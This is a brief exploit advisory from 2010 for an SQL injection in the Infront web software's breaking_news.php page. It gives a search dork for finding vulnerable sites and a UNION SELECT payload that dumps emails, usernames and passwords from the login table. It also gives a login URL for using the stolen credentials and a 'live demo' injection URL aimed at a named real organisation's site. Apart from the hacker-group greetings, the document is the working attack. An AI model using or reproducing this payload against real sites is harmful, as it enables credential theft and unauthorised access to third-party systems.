Infront SQL Injection

`  
  
  
# Exploit Title: Infront SQL Injection Vulnerability  
# Date: 12-06-2010  
# Author: TheMaster <[email protected]>  
# Software Link: http://www.infront.com/  
# Version: N/A  
# Tested on: Windows XP SP3  
  
Author : TheMaster <[email protected]>  
Dork : intext:Powered by Infront  
Type of attack : SQLi  
File : breaking_news.php  
Exploit Code : http://target/path/breaking_news.php?newsid=union select 1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login  
  
After , you can login here : http://target/path/login.php  
  
Live demo : http://www.nhdf.org/breaking_news.php?newsid=-103+UNION+SELECT+1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login--  
  
GreeTz : SA H4x0r <Abu Saud> , HiV Sec Team , Sec4ever and v4-Team Members   
_________________________________________________________________  
Hotmail: بريد إلكتروني موثوق فيه ويتمتع بحماية قوية من البريد العشوائي.  
https://signup.live.com/signup.aspx?id=60969  
  
`